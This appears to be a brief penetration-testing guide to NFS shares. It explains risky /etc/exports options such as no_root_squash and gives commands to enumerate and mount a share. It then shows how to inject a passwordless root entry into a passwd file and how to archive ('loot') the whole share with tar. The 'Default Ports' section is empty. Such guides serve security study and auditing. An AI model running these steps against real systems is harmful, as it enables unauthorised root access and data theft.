NFS

NFS Security & Exploitation Guide

Network File System (NFS) is a distributed file system protocol originally developed by Sun Microsystems. Its purpose is to allow systems to:

Access remote file systems over a network as if they were local.
Provide file sharing primarily between Linux and Unix systems (not directly compatible with SMB).

Configuration File:

/etc/exports defines which directories are shared and the permissions granted to clients.

Default Ports:

Some NFS configurations can be insecure and lead to privilege escalation or unauthorized access:

rw → Grants read & write permissions.
insecure → Allows connections from ports >1024 (less trusted).
nohide → Exports nested filesystems automatically.
no_root_squash → Critical risk: root users on clients retain root privileges on the NFS share (can create files owned by UID/GID 0).

Best Practice: Always avoid no_root_squash in production environments.

Use Nmap NSE scripts to fingerprint NFS:

sudo nmap -sV -p111,2049 --script nfs* 192.0.2.15

showmount -e 192.0.2.15

Example output:

Export list for 192.0.2.15:
/srv/nfs_share *

mkdir target-NFS
sudo mount -t nfs 192.0.2.15:/srv/nfs_share ./target-NFS/ -o nolock

sudo umount ./target-NFS

Privilege Escalation via no_root_squash If enabled, create a file owned by root on your local system, then copy it to the mounted share:
```
echo "hacked::0:0::/root:/bin/bash" > ./target-NFS/passwd
```
This could allow creation of root accounts if /etc/passwd is exported.
Recursive Share Search Check for nested exports using findmnt or mounting multiple shares.
Quick Looting with tar Instead of downloading files individually:
```
cd ./target-NFS
tar -cvf loot.tar *
```

Last updated 4 months ago